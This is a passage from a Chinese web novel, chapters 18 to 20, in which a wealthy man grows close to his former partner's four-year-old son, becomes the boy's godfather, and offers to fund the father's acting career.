要不然，谁知道把蔚染留给姓林的，会发生什么。 林洛宸：“这里就只还剩一间空房，嘟嘟和他奶奶睡正好。” 杜陵：“那你呢？” “我睡这。”林洛宸指了指客厅的沙发。 “做梦吧你！”杜陵下意识否决。 他激动的态度让林洛宸的目光多在他脸上停留了一阵。 即便那时间极短，但杜陵还是觉得很不舒服。 “杜二少是在防着我？”林洛宸眼神敏锐地投了过来，“不想我跟蔚染靠得近？” 杜陵：“我……” 杜陵恨不得猛掐自己大腿让自己保持冷静。 他不能表现出异常，毕竟如果极力反对姓林的贴着蔚染，若被对方察觉出蔚染也在极力回避着他，进而被这姓林的推断出嘟嘟身世，那可就全完了。 越是反应平静，越说明林洛宸在蔚染那里不过而已。 杜陵：“那你说，你要留下来的目的是什么？你跟蔚染已经……！” 想说已经分手五年了，却猛然想到嘟嘟还在旁边，这事儿也不能提。 好像说什么都有危险似的呢，脑筋并不算灵活的杜二少，这下啥话都说不出来了。 不过即便他没说出来，林洛宸也会了他的意。 眼皮猛然向下一耷，狗狗眼酝酿深沉——很明显，杜陵不喜欢自己靠近蔚染。 而对方这种在自己面前警铃大作的模样，也不陌生。 ——以前有人追蔚染的时候，林洛宸自己也是这样的反应。 …… 想到这里，林洛宸周身气息森然一凛，直接道：“送客。” 连蔚染他都没想好该怎么办。他的时间还没有多到、要在一个普通人的身上浪费。 他门口的保镖悄无声息地走进来，架住杜陵就往外带。 “不是，你什么意思？没事儿吧你姓林的，这还是二十一世纪吧？？”杜陵挣扎咆哮。 但保镖“送客”的手法很考究，显然训练有素，不用弄疼杜二少、不会留下痕迹，却也不容他挣扎。 林洛宸冷然一笑：“想吵醒蔚染，你就继续喊。” 杜陵：“……” 双腿在地面划出一道残影。 杜陵就这么被人“请”出了病房。 将杜二少送走后，林洛宸一回头，就看见蔚嘟嘟一边捧着大杯子猛嗦水，一边还用一双眼睛望着自己。 黑黑圆圆的眼睛，葡萄似的。过去蔚染仰头看自己的模样，好像也是这样一幅神态…… 意识到自己的注意力游离了，林洛宸猛回神，开始回望小小的、白皙圆润的人类幼崽。 一大一小遥遥对视。 林洛宸能从这小孩的目光中看出一种一边打量人、一边在思索的神态。 ……？ 普通四岁小孩是会这样的吗？ 半晌后，嘟嘟吐掉了嘴里的吸管，王奶奶顺势拿走了大肚杯。 蔚嘟嘟哒哒哒地跑到林洛宸跟前，继续仰头观察。 “……” 林洛宸继续回望。 他以为嘟嘟会因为自己把杜陵暴力请走，而表达什么不满。 但半晌后，蔚嘟嘟却忽然开口，小声音脆生生地问：“叔叔，你是嘟嘟的另一个爸爸吗？” 林洛宸：……？？？？！！！ ……这、这小孩在问什么问题？ 他的另一个爸爸，那不就是蔚染的…… 不，重点是，嘟嘟为什么会问这样的问题？就算是小蝌蚪找妈妈，那他也应该揪着不同的女人去问…… 杂念纷飞间，林洛宸已经嘴快道：“不是。” “……哦。” “……嘟嘟为什么这么问？” 蔚嘟嘟：“因为叔叔你比爸爸高。” 林洛宸：“？” “而且，你刚刚也算救了我拔拔……” 嘟嘟慢吞吞地说。 其实是大脑瓜一边在回话，一边在思考。 嘟宝记得的剧情里，自己另一个爹，是从一个叫“品牌x”的坏叔叔那儿救下过爸爸。 然后这位‘另一个爸爸’还很生气，凶了爸爸。之后爸爸也生气地适时反击，两个人就吵了起来，像打架一样，不欢而散。 书里说，因为这样，爸爸很伤心，还一个人在深夜里偷偷地哭了，之后更是有什么事都不跟另一个爹说，完全是回避的态度。 嘟嘟不舍得爸爸这样伤心，所以这个剧情才记得这么详细，现在，怎么想都怎么像是…… 不过，不管是不是已经到了那段剧情，也不管长腿叔叔是不是嘟嘟的另一个爸爸，叔叔刚才都已经答应嘟嘟，以后不会凶爸爸惹。 那这样的叔叔，就暂时是好叔叔。 想明白这点，小小的人类幼崽暂时松了口气。 “叔叔，喏，给你。” 重新支棱起来的嘟嘟，从自己的背带裤兜里掏出一根奶酪棒。 林洛宸：？ 一根过后又掏出一根，没想到吧，嘟嘟的兜兜里其实是揣了两根奶酪棒哒！ 蔚嘟嘟把两支都递到叔叔面前，让叔叔挑选。 嘟嘟说：“谢谢你救了我爸爸，叔叔，嘟嘟请你吃，奶酪棒~” 努力吐清字音的蔚嘟嘟，尾音有些高扬，但声音软糍，听上去很甜。 林洛宸低头看着那两只奶酪棒。 他的世界里好像从来没有出现过这种东西。于是他说：“叔叔不吃，谢谢嘟嘟。” 蔚嘟嘟却说：“叔叔，这是嘟嘟单独感谢叔叔的，其他的，要爸爸醒来再还~” 爸爸说，别人帮助了自己要表达谢意，还要偿还恩情。 蔚嘟嘟在很认真地履行。 林洛宸的眉尾却不着痕迹地略微向上一挑。 ……所以蔚染醒来以后，要还自己什么？ …… 他最终还是选择了一根原味奶酪棒，把果味的留给了嘟嘟。 林洛宸大概只有20%的味觉，吃什么东西都差不多，吃水果味的也是暴殄天物，还是留给幼小喜甜的幼崽比较好。 嗯，资源优化分配罢了。 打开奶酪棒的嘟嘟，已经香甜地舔了起来。 林洛宸发现，蔚嘟嘟吃东西喜欢先嗦味。 这习惯自己小时候也有，为此他家里还着实纠正过他一段时日…… 如果嘟嘟是自己的孩子的话…… 无法自控的，林洛宸脑中出现了一幅一家三口凑在一起、他跟蔚染还有嘟嘟一起生活的画面。 非常无厘头的。但还是令人忍不住疯狂遐想的…… 如果嘟嘟是自己的孩子。 …… “嘟嘟，为什么要问我是不是你另一个爸爸？” 这个问题林洛宸刚才问过，但显然嘟嘟的回答并不是他想要知道的答案，林洛宸便尽量问得更详细一些：“为什么会想要另一个爸爸，而不是妈妈？” 嘟嘟的小奶膘正嗦奶酪棒嗦得一颤一颤，十分专注认真。 但作为一个有礼貌的好宝，对好叔叔提出的问题，嘟嘟都会认真回答： “因为嘟嘟的另一个爸爸是爸爸，不是妈妈呀？”—— 作者有话说：好宝嘟嘟：[垂耳兔头] 好叔叔：……[求求你了] 还是88只小红包，因为要上夹子了，下一章挪到明天（周二）23点，鞠躬[比心] 19、第十九章 第19章 嘟嘟的另一个爸爸是爸爸, 不是妈妈。 这什么意思？ 林洛宸发现自己十七岁就被保送进MIT的脑子，竟然翻译不出这小嘟嘟的话。 但嘟嘟却不觉得自己的表述有问题，又一嗦奶酪棒, 嘟嘟直接举起小胳膊：“因为我爸爸，最终是要跟另一个爸爸，在一起哒！” 林洛宸：？ 什么意思……蔚染最终要跟谁在一起？？？ 旁边的王淑琴赶紧解释说：“嘟嘟从小就这样，见谁都问是不是爸爸, 林先生您别介意。” 王淑琴从不觉得眼前这位林先生可以信任。 如果不是蔚染在电话里亲口说可以把嘟嘟带过来, 她根本不同意来。 不过对于嘟嘟找爸爸的事，他王奶奶倒是没说谎。嘟嘟真打小就这样。 想到这, 王奶奶又笑着逗嘟嘟：“嘟嘟给自己找了几个干爸爸了？” 在她看来，嘟嘟只是热衷于给自己找干爹而已。 毕竟目前看, 嘟嘟给自己找的干爹都对崽崽挺好的, 比如蔚染以前的品牌商, 还有合作过的同行, 跟小嘟嘟关系就都处得不错。 “唔？” 礼貌、会回应任何大人问题的嘟嘟掰手指开始数, 然后对王奶奶伸出一只小手掌：“五个！” “哇, 我们嘟嘟真聪明，数数的真好！”王奶奶日常夸夸，顺便跟嘟嘟对小手掌，“耶！” 嘟嘟：“咯咯咯！” 林洛宸：“……” 都五个了？？？ “嘟嘟。”林洛宸再度叫住嘟嘟。 “唔？叔叔？”嘟嘟回头看叔叔。 林洛宸外表面无表情，内里天人交战。 他在想，嘟嘟说他爸爸是要跟另一个爸爸在一起，那这话的意思是不是在说……蔚染喜欢的其实还是男人。 因为蔚染想找的伴侣从来都是男的，所以嘟嘟才以为自己只能有两个爸爸，没考虑过要有妈妈…… 不是，都这样了, 蔚染还在想着男人？ …… 但在林洛宸的记忆里，蔚染的确没喜欢过什么女人。 所以嘟嘟只是意外，蔚染他想找的其实还是…… 半晌过后，就在嘟嘟打算转回歪着的大头时，林洛宸嘴唇忽然一动，脱口而出：“嘟嘟不想叔叔也做你干爹？” 蔚嘟嘟：“唔？” 所幸已经说出来了，林洛宸就不再纠结和掩盖。 他身材高大，行走坐卧的姿势都很标准，动作很有派头，坐在那里便如山一样。 至少对于嘟嘟来说，叔叔真的很高大，借助月光投下的阴影，都可以完全笼罩住嘟嘟！ 嘟嘟听见长腿叔叔说：“嘟嘟认干爹有什么条件。叔叔也可以做你的干爹。” “……哒？”蔚嘟嘟小朋友眨了下眼。 嘟宝认干爹是没有条件哒。嘟嘟刚想这么说。便听长腿叔叔说：“嘟嘟想要什么？叔叔在S市还有三、五座不动产，七、八辆车。或者，嘟嘟还想要别的什么东西？” “……” “…………” 嘟嘟没有立即回话，而是疑惑地看着叔叔……主要是他被卡住了——不动产是什咩东东？ 而一旁的王淑琴则下意识地将思考中的嘟嘟抱回到怀里……阿染怎么会跟这种人走在一起，还把嘟嘟叫来了……真的没事吗？眼前的这位先生…… 真不是神经病？ 林洛宸已经继续诱惑说：“如果嘟嘟喜欢的话，东城的游乐园也是叔叔的产业。” 一想到嘟嘟都这么大了，却连爸爸和妈妈都分不清，林洛宸也说不上是什么心情。 庆幸蔚染还喜欢男人的同时，心底却有种极度陌生的怜爱之情自然升起，他看着嘟嘟，声音都温柔了几分： “嘟嘟喜欢去游乐园吗？叔叔把游乐园送给你好不好？” 一听到游乐园，嘟嘟立即把刚才思考的都抛到脑后，幼崽一晃胳膊，坦率承认：“宝宝最喜欢去游乐园啦呀！” 林洛宸：“好，那过两天，叔叔带你去看。” 王淑琴：“……” 她现在报警的话，不知道还来不来得及？. 第二天，蔚染从沉睡中转醒，眼睛还未睁开，当先就听见嘟嘟标志性的“咯咯咯”的开心笑的小奶音。 听声音，嘟嘟就在自己附近。 蔚染感觉周围很温暖。 自己大概是沐浴在阳光里、空气很清新。最主要的是，旁边就是自家宝宝开心的笑声…… 唔，好像很长时间了，每天都是自己先醒先出门，只能在出门前亲亲嘟嘟沉睡的小脸。 真的是好长时间了，他都没有一醒来就听见嘟嘟的笑声。 蔚染忽然觉得很满足。 满足到半梦半醒间，他直接扬起了笑容。 可下一刻，蔚染就忽然觉得不对—— 猛地想起昨晚的事，他霍地张开了双眼！ 入目是一间通体见白的房间，干净整洁，空气中弥漫着淡淡的栀子花的香。 而就在不远处，“咯咯咯”笑个不停的嘟嘟也映入眼帘，人类幼崽微微弓着背部，小团子一样地在半空中晃动。 晃动…… 半空中…… “嘟嘟？？？”蔚染发出了声音。 声音传到了房间另一侧、一大一小两个人的耳中，林洛宸回身，连带着嘟嘟也回身，这时候蔚染才看明白—— “嘟、嘟嘟，你怎么骑在叔叔的脖颈上面了！？” 房间里，林洛宸人高马大地站得很直，身上穿着一身规整的西装。 嘟嘟就骑在他的脖颈上。 由于林洛宸身形过高，倒显得嘟嘟更是小小的一只，小短腿垂下来大概都没到他叔叔的胸部，甚至整个嘟嘟也只比林洛宸高出了一点点…… “爸爸！”见蔚染醒了，嘟嘟当先兴奋得叫。 林洛宸则把人类幼崽抱了下来，大手穿过嘟嘟两肋、很轻易地便将嘟嘟悬于半空之中，目光直直地跟蔚染对视。 房间里回荡着嘟嘟回答爸爸问题的声音：“爸爸，嘟嘟可以摸到天花板了噢！” 蔚染：“……” 嘟嘟的意思是，他骑在林洛宸的脖颈上，再抬起小手臂就可以触摸到这房间的棚顶了，而他们刚才就是在玩这个摸天棚的游戏。 蔚染瞬间get到了自家崽崽的意思。 但是……他想问的是，他们两个怎么忽然又熟了这么多？？ 看林洛宸抱嘟嘟的姿势，好像也十分熟稔的样子……林洛宸不是不喜欢小孩子吗，他什么时候练就的这样陪幼崽玩乐的技能？…… 蔚染才刚醒，脑中的念头就乱七八糟的。 不过感受到摸到天棚这件事带给自家宝宝的快乐，蔚染还是笑了笑，很配合地说：“哦是吗，宝宝真厉害！” 蔚嘟嘟开心地在半空中蹬起了小脚丫。 林洛宸则看着病床上的蔚染，晨光里的青年皮肤苍白到快接近透明，身形也单薄得不像话，就那么薄薄的一片儿，伶仃强撑着支棱在那里…… 他忽然又觉得一阵胸闷，心上刺痛。 大概是蔚染长得太好看了吧。 任谁看见这一幕，都会心疼不已的。 要是蔚染粉丝在这，估计都得炸了。 心上不是滋味的感觉很烦躁，林洛宸将嘟嘟放下，宝宝便很自然地迈开小短腿，去床边找他爸爸了。 “爸爸！” “唉！” 蔚染直接弯腰伸出手臂，将嘟嘟捞进自己怀里。 他再瘦也是练过的，没有外表看上去那么弱不禁风，甚至蔚染从没觉得自己哪儿弱。 但他捞嘟嘟到床上的动作还是惊到了林洛宸。 ……早知道蔚染是要抱嘟嘟上床的，那自己直接将嘟嘟送过去不就好了，何必蔚染多费力。 房间里的氛围骤然变得有些凝固。 连嘟嘟都感受到了。 主要是爸爸和叔叔忽然都不出声了。 倒在爸爸怀里，被爸爸搓搓揉揉的嘟嘟瞪大眼睛看看这个，又看看那个，表情疑惑。 蔚染是想起来，昨天自己中了药……之后好像……好像是自己同意林洛宸把嘟嘟接过来的。 甚至昨天半夜蔚染醒来了一次，从林洛宸口中得知嘟嘟来了、就在隔壁房间睡着，他便放心地又睡了过去…… …… 昨天半夜，林洛宸就坐在他床边的样子，蔚染甚至还能依稀回忆起来。 ……所以，自己不清醒的时候，怎么会就这么信任林洛宸？？ 蔚染震惊、尴尬又后怕。 感觉嘟嘟现在跟林洛宸这么好了，都是自己一手造成的。 但或许是……蔚染低眸想着：或许是因为，无论自己跟对方之间有过什么事，但林洛宸的人品还一直都是能过得去的。 或者说是对方骨子里的骄矜和高傲，让蔚染可以放心地在那种情境下去信任对方。 ——但凡是应下的事，林洛宸都会去办，还会办好，绝不会出什么差错。 因为如果是他不想办的事，便干脆不会答应。 林洛宸从不屑于虚与委蛇。 所以自己意识不清的时候，才会下意识觉得把嘟嘟交给林洛宸是可靠的。 他答应自己会照顾好嘟嘟，就绝对不会坑害嘟嘟。 嗯，一定是这样。 蔚染一边思考一边肯定自己的思考，长指在嘟嘟的小手上握了握，又下意识戳了戳嘟嘟鼓鼓的小奶膘。 “唔？”嘟嘟疑惑地看向自己的爸爸。 “昨天……” “昨天……” 房间里的两个大人几乎同时出声，又在听见对方的声音后骤然消声。 蔚嘟嘟立即惊奇地扭头分别看了看，吃瓜的小松鼠一般。 “你先说。”林洛宸说。 “……没什么……昨天谢谢了。”蔚染说着就要下床，看样子是打算离开了。 林洛宸皱起了眉，提起昨天他还是有些后怕和不快，正要再说蔚染两句，让他长点心。 但就见坐在蔚染怀里的人类幼崽猛地扭头望向自己，嘟嘟抿着小嘴、表情严峻到小奶膘都不颤了……林洛宸刚要脱口而出的话被直接噎住。 顿了顿，在蔚嘟嘟奶呼呼但紧张的注视下，林洛宸语气平和地对蔚染说：“昨晚的事，幸好你没事。” “……” 蔚染闻言，猛然抬头望向林洛宸。 林洛宸便干脆顺势说：“下回再有类似事发生，你一旦觉得不对，可以立即打电话给我。我手机号现在在你的已接来电第一位。” 蔚染：？？？ 说到这里的林洛宸心情又舒畅了不少，昨天蔚染跟嘟嘟通完话后，手机便是解锁的状态，他用蔚染的手机给自己拨了个电话，也回拨了一个。 这不算是私看蔚染的手机，也绝不算是私自更改了蔚染的手机、更改了通信录。毕竟蔚染完全可以选择不存自己的电话。 在脑海中默念了一遍蔚染的手机号码，一想到蔚染的手机号现在就分别存在自己的手机上和大脑里，林洛宸就也说不上是怎么回事，整个人都有些精神抖擞。 而上一次让他这么兴奋的，还是刚才他对蔚染说，有事可以喊自己。 …… 虽然，这么奇怪的兴奋的点，让林洛宸自身也十分不解。 “米闵德，我已经派人联络了他们公司总部。”他继续说：“不陪你个几百万的精神损失费，这件事别想完。” 蔚染：“……” 其实蔚染一直都有一个疑问，为什么林洛宸会忽然回来，又几次三番地帮自己。 明明之前相遇的时候，对方还是一副不屑于理会自己的模样，从他身边冷冷走过。 难道这次真是冲着嘟嘟来的？ 可如果林洛宸真知道嘟嘟是……并且他想要认回嘟嘟。那他又为什么要跟自己这么热络？以他们林家的财势和手段…… 蔚染骤然抱紧嘟嘟。 无论如何，自己都不能失去嘟嘟。 他干脆直接问：“为什么帮我？” 这个问题让林洛宸沉默了下来，似乎他也在思考该怎么回答。 病房里，再度回荡起沉默的气息。 片刻后，跟左右看个不停的蔚嘟嘟对上了视线，林洛宸忽然说：“我不是帮你，我是帮嘟嘟。” 蔚染：！！！ 蔚染心中警铃大震！ 林洛宸则走向蔚染的病床，冲嘟嘟伸手：“嘟嘟该叫我什么？” 嘟嘟声音脆脆：“林爸爸！” 蔚染：？？？！！！ 林洛宸难得露出一种，类似和蔼的笑：“来，爸爸抱。” “宝宝！”蔚染则赶紧环紧嘟嘟，完全是下意识的条件反射。 林洛宸发现了蔚染对自己的排斥，方才刚微微挑起的唇角凝固住了，他站在原地沉默。 而嘟嘟也瞬间感觉到了爸爸的紧张，于是嘟嘟也有点紧张——以前嘟嘟认干爸爸的时候，爸爸有说过不可以那么做，因为干爸爸一般都会给嘟嘟好些东西，爸爸说不可以收别人家的礼物，也不能随随便便认别人做干爹。 所以那之后，嘟嘟就没怎么认干爹了。 这次是…… 蔚嘟嘟转了转黑葡萄似的大眼睛，表情灵动地看了看爸爸，又看了看一旁的林叔叔。 ……介次主要是，叔叔他给的、实在太多惹！ 嘟嘟摆弄着小手指，尝试跟爸爸商量：“就认一个，介是最后一个！好不好嘛，拔拔~” 嘟嘟紧张的时候，口齿就不太清晰了。 但蔚染还是直接捕捉到了重点：“什么认一个？” 他这会儿可不敢迷糊了，完完全全是战斗模式，因而十分敏锐。 嘟嘟说：“干爹呀~” 蔚染：“……” “爸爸，林叔叔是最后一个，好不好，嘟嘟以后都不认别的干爹了。”嘟嘟还在奋力劝说。 蔚染：“…………” 蔚染差点想扶额。 能认嘟嘟做干儿子，就说明林洛宸还不知道。 无论做不做嘟嘟的干爹，至少这也比对方已经知道真相得好。这个认知让蔚染瞬间放松下来，收紧的手臂也松开，而后方感觉到尴尬…… 自己刚才，好像反应太大了。 他抬眸看了看站在床边的林洛宸。 高大落拓的年轻男人站在那里一动不动，略微垂着头，狗狗眼一眨不眨的盯着自己，很像是蔚染小时候养过的一只拉布拉多…… 以前，林洛宸每回觉得委屈的时候，都是这么看着自己的。 印象最深的一次是纽约的雨夜，大雨倾盆间，黑发黑眸的青年隔着浓密雨丝望着自己，那双狗狗眼里黑黢黢地闪着晶莹的光，委屈又倔强地问他：“蔚染，我只最后问你一次，你确定你……不要我了？” …… 蔚染嘴唇颤了一下，心里又酸又涩，立即转头看向窗外。 他怕会被那人看到他眼里一瞬闪出的泪花。 百感交集间，他猛地咬了咬下面的嘴唇，还是狠心地假装没看见林洛宸的那副模样，尽量平静地问嘟嘟：“那嘟嘟，为什么要认这个叔叔做干爹呀？” 林洛宸瞳孔挪动了下，仍旧沉默。 嘟嘟一边捏小手指一边认真想了想，还是老实交代了：“因为叔叔说，可以把游乐园卖了，给爸爸拍戏。” 小宝宝的声音软软糯糯。 蔚染：？ …… 事情其实是昨天晚上林叔叔说要把游乐园送给嘟嘟，但嘟嘟想起爸爸说，不能随便要干爹的东西，所以还是忍痛拒绝了。 “交易”又没谈拢，林洛宸便只好问：“那嘟嘟现在，最希望的事情是什么？” 这个嘟嘟可会回答了，幼崽几乎没犹豫的声音高亢着：“嘟嘟希望染染火火，有很多人都喜欢染染！” 林洛宸听完挑眉。 又想起那天、蔚染宁愿去投靠色批也不愿接受自己投资的场景，突然发现自己的目标其实跟嘟嘟是一致的。 于是他诱惑道：“那叔叔给你爸爸投资，请他拍戏怎么样？” 嘟嘟不是太懂叔叔的意思，但他知道只要有戏拍爸爸的日子就会好过，嘟嘟当然从善如流：“好喏！” 林洛宸：“那嘟嘟跟你爸爸说，要他跟叔叔合作好不好？” 嘟嘟当然从善如流：“好的呦。” 林洛宸没想到这事儿会变得这么顺利，但他也没忘了要做嘟嘟干爹的事，便又说：“嘟嘟真乖，这么说，嘟嘟是要叔叔做你干爸爸了？” “唔？”嘟嘟歪头：嘟嘟米有不要啊！ 人类幼崽赶紧摇着小胖手解释：“介件事要爸爸答应才行。爸爸不想，干爹爹给嘟嘟花钱的。” “……” 需要问蔚染，那这事儿八成就没门了。 一想起蔚染那倔劲儿，林洛宸就没这个自信，眉宇瞬间压低了一些，有点失落。 不过他很快又想到—— “可是嘟嘟已经答应叔叔，会劝你爸爸接受叔叔的投资了。” 嘟嘟：“哒？” 深邃的眉眼略微泛起光芒，林洛宸：“嘟嘟去劝你爸跟叔叔合作，叔叔把答应嘟嘟的游乐园卖了换钱用来投资你爸爸。这样，不仅嘟嘟承诺给叔叔的实现了，叔叔也算送了嘟嘟游乐园，所以叔叔也可以是嘟嘟的爸爸。” 至于嘟嘟喜欢的游乐园，没关系，反正东城那个也有点旧，他可以完全按照嘟嘟的喜好再购入或建造一个。 嘟嘟：“……哒！” 蔚嘟嘟没听懂，有被绕晕晕了，但单听叔叔的结论的话，宝宝好像又懂了。 叔叔的意思就是那个词是什咩来着……对了，双赢！ 于是父崽两个就这样达成了协定。蔚嘟嘟正式又给自己认了个爹。 蔚染：“……”？？？ “宝宝……”别说嘟嘟被绕晕了，蔚染现在也晕。 怎么不仅嘟嘟又多了个爹，一夜过去，自己还得跟林洛宸合作了？ “爸爸，拔拔~”嘟嘟却不忘完成已经答应了叔叔的使命：“你会答应宝宝，跟叔叔合作的吧？” 蔚嘟嘟的声音软软糯糯的，蔚染都不知道该怎么回绝。 他是把嘟嘟宠坏了的。王奶奶以前就这么说过—— “哪个家庭里，是爸爸听着小宝宝的意见去做事的？”那会儿王淑琴笑着，半开玩笑地说：“嘟嘟鼓励阿染你出去接戏，你还真去。在别人家，小朋友可都是不能给大人提这种意见的，没想到到了你这儿，嘟嘟还能给你做小军师了。” 那会儿王阿姨要是不说，蔚染都还没注意到过这个问题。 他是嘟嘟的爸爸，但从未觉得自己就应该压制操控嘟嘟，所以嘟嘟说的话蔚染都会认真听，有道理的话他就会去应。 很显然，这次嘟嘟的话也有道理。 其实上次招商宴上，他拒绝了林洛宸，回来就被季养运给说了。 “有钱不赚王八蛋，只要合同签明白，你管姓林的是什么目的？” 季养运没说出口的话是，如果林洛宸真为了抢嘟嘟而来，那蔚染也没办法。因此还不如不躲避，就要了那十三亿。 当时蔚染是沉默地听着的，他明白季养运的潜台词，也明白有钱不赚王八蛋的道理——他这些年早就不清高了，知道只有有钱才是唯一的生存工具。 可是……可那个人是林洛宸。 是他那被彻底毁灭的过去里，唯一还偶尔会出现在他破碎梦境里的东西。 他不想连它也变味。 所以即使被季养运说了，蔚染也只是闷头听着，不搭话，意思就是你怎么说这件事我也不会同意。 执拗又固执。 但现在…… 嘟嘟一边往蔚染怀里钻，一边声音软软地跟自己的爸爸撒娇：“爸爸，你就答应宝宝吧~季爸爸说了，没有问题哒~” 蔚染：“……” 所以季养运都知道嘟嘟和林洛宸的约定了？ 那在自己睡着的这个夜里，还有什么是自己不知道的？？ 蔚染开始觉得这个世界很魔幻，好像自己还睡着，没醒。 ……一切都来的太轻易了。 这让蔚染感觉很不安。 即便他也不知道自己还该不该再无厘头地坚持。 一旁的林洛宸忽然说：“放心，不用有顾虑，我不是冲你。” 蔚染执拗着不肯答应的模样太明显，里面是明晃晃的对自己的抗拒，这让林洛宸心情又不是很爽利。 但知道蔚染不肯答应的原因是因为投资人是自己，那问题就好解决多了。 林洛宸干脆语气冷硬道：“我对你没意思，只是单纯觉得嘟嘟很可爱……有商机可以挖掘。” 通过一晚上的相（套）处（话），林洛宸已经知道嘟嘟的崽生目标就是赚钱养爸爸，为此宝宝还给自己报名了综艺。 林洛宸在惊诧蔚染的儿子竟然如此聪明、如此特立独行的时候，也偷摸跟嘟嘟约定好，会帮嘟嘟赚钱养他爸爸。 而有了跟嘟嘟的这个约定，林洛宸的语气也变得相当理直气壮：“一部戏，你跟嘟嘟一起拍，过几天我把剧本给你。” 昨晚他就已经着手找人开始写剧本了，也不算是诓骗蔚染。 蔚染：“…………”—— 作者有话说：林六（林嘟嘟的第六个干爸总）：反正、肯定、总之并不是为了你。 20、第二十章 第20章 蔚染还是没有直接答应。 但与平时的断片儿不一样, 蔚染是真的在思考这个问题。 蔚染低垂着眼帘，林洛宸在一旁站着，继续说：“对了, 你剧组那边我已经给你请了假，你现在需要多休息。” “请假？？不行——”蔚染回过神，再度露出难以置信的表情—— 他的世界里是没有请假这一说的。 如果是商务活动之类的必要原因，工作室会提前很早就跟剧组沟通好排好时间, 至少他不能随随便便就因为个人原因临时请假。 这也不是他个人的原则问题, 而是整个娱乐圈的规矩就是这样……他请假了，导演他们今天就得临时改别人的戏份来拍, 就要有一大堆人配合调整，无端给许多人增加了工作量, 有时候还不能平衡。 而如果不作调整, 那全剧组就得等他回来, 则会耽误后面的拍摄进程, 一天都有好些费用跟着呢…… 蔚染刚想说自己不能请假。 就听林洛宸说：“你们剧组一整天的费用顶天也就四十万, 加上可能给其他人造成的延期补偿, 我已经给他们打过去两百万，你休息两天不会有任何问题，他们还会很感激你。” 蔚染：……？？？ 等等，你以为我拍戏是为了什么？ 两、两百万？！！ ……不，不对，别的都先等等。蔚染骤然抬手捂住嘟嘟的小耳朵——这个才是当下最要紧的—— 这么败家的行为，宝宝可千万不要学。 支棱在两侧的小耳朵忽然被爸爸捂住，嘟嘟还以为爸爸是在跟自己做游戏，不由又咯咯地笑起来。 嘟宝实在太喜欢自己的拔拔了，登时又黏糊地往爸爸怀里钻, 跟块小粘糕一样。 蔚嘟嘟说：“拔拔，爸爸~林爸爸说你介两天休息，那爸爸是不是就可以陪宝宝啦！” “……” 嘟嘟这句话，直接戳破了蔚染的心。 他的确已经好久没好好陪过嘟嘟了。 前两年刚跑龙套的时候什么都要自己弄，也没有好的资源，每天绝大部分时间都是抢角色、去做造型，然后在片场旁蹲等，几乎每天都熬大夜，凌晨三五点下工是常态。 那会儿太忙了，他不得已便将嘟嘟送到了白女士远在加拿大的家里，让嘟嘟在那边待过半年。 那时候唯一安慰自己的就是嘟嘟正好是学语言的年纪，去国外正好享受双语教学。 后来蔚染终于赚到了一点钱，可以请专业人士专门照顾嘟嘟，就直接把嘟嘟接了回来。 可饶是如此，为了维持导演制片人们的脸熟程度、为了支付高额的生活开支，他也一刻不敢把工作停下，每天能见嘟嘟的时候还是很少。 嘟嘟从来没有抱怨过，也没有问过爸爸为什么不陪他。反而天天鼓励他去拼去闯……大部分时候，宝宝都是一个人玩。 蔚染不是不知道，只是无能为力，嘟嘟又从不跟他哭闹，他便狠心地放任自己去故意忽略这件事，忽略宝宝也很需要爸爸的陪。 “对不起嘟宝。” 蔚染抱紧自家宝宝，在嘟嘟挂着不解的脸蛋上亲了一口，不顾一切地道：“那爸爸这两天就陪着嘟宝，宝宝想做什么爸爸都陪着。” “好呦！”嘟嘟开心地扭起小身子。 小小的人类幼崽并不知道爸爸休息两天的代价是什么，反正林干爹说爸爸可以休息，且不会影响后续工作，嘟嘟就放心惹。 蔚嘟嘟又忽然想到：“那、那爸爸，这两天，嘟嘟可以不用去幼儿园了罢？” “……嘟嘟不喜欢去幼儿园吗？”蔚染立刻问。 他对宝宝的一切都很敏感，但蔚染以前没发现嘟嘟不喜欢幼儿园。 嘟宝在这方面有时候比大人还要成熟，连蔚染都有不想上工的时候，可嘟嘟……据王阿姨说，嘟嘟是会每天自己穿好小袜子小衣服，乖乖等着奶奶送他去幼儿园的那种绝世大乖宝。 蔚嘟嘟掰了掰手指，又扭了扭小身子，然后不是很自在地说：“嘟嘟，一般是喜欢嘚……” “然后呢？” 嘟嘟顿了顿，干脆跟爸爸告状：“……是刑建豪！他坠近、每天都吵着要爸爸你做他爸爸……他还要跟嘟宝回家！” 嘟宝平时是很大方的，但眼下，却难得表现出了一丝愤怒和委屈。因为别的都行，只有跟别人分享爸爸这点不行！ 可是那个笨笨的小豪同学，好像总是听不懂嘟宝的话，就很烦宝，哼！ 蔚染：“……” 蔚染听了差点笑出来。 小宝宝的烦恼还真是……嗯，不是什么特别严重的事情就好…… 蔚染忽然感觉到了什么，一抬眸，就对上林洛宸一动不动注视着自己的目光。 “……” 蔚染先是安抚了嘟嘟一番，重点强调自己永远都只是嘟嘟的爸爸，把嘟嘟哄得美滋滋的以后，才又跟嘟嘟说：“嘟嘟，去跟奶奶玩一会儿，爸爸有事情跟林叔叔说。” 旁边的林洛宸听了，视线略微一晃，但也什么都没说，就等着嘟嘟乖乖甜甜地说了声“好哦”后，借着爸爸手臂的力道蹿下地。 嘟嘟跑去找正在给他准备牛奶的王奶奶。 病房里就只剩下蔚染和林洛宸。 “谢谢你。”蔚染再度说。 林洛宸却没应，仍旧直勾勾地望着床上的人。 蔚染不知道他在想什么。 但是被盯得实在太不自在了……从再度相遇以来，林洛宸给他的感觉便是如此——他在盯着自己。 却从不说他的真正目的。 且因为只是盯着，就叫人没办法发作，就只能这么耗着，等对方有什么近一步的动作。 蔚染从前做事情有多风风火火，现在就是个多能耐住性子的人。 可即便如此，他都快觉得自己要耗不起了—— 嘟嘟的身份，始终是个定时炸弹。 他真的需要知道林洛宸的目的。 这些年蔚染早学会了那套弯弯绕绕，可在林洛宸面前他还是用不出来。 被林洛宸看一眼就像是要被击穿了。要隐藏的事情太多，都怕捂不严呢，还怎么跟对方面前走迂回路线？ 于是最终，他还是打直球道：“所以你究竟想怎么样？” 蔚染略微低头，并没有去看林洛宸，任由对方俯视。 绵羊音轻软缓慢地响起：“如果你是因为绿帽子过不去，觉得我对不起你……” “蔚染，别提这个事。”林洛宸语气狠戾地打断了他。 像被戳中了什么爆炸开关，刚才还只是安静凝望、打量蔚染的男人，这会儿连眼睑都猛地一颤。 林洛宸说：“别提。” 蔚染：“……” 林洛宸又缓了口气：“不是那个缘故。我已经当没有那个事情发生了。” 所以你也别再提。 蔚染：“…………” 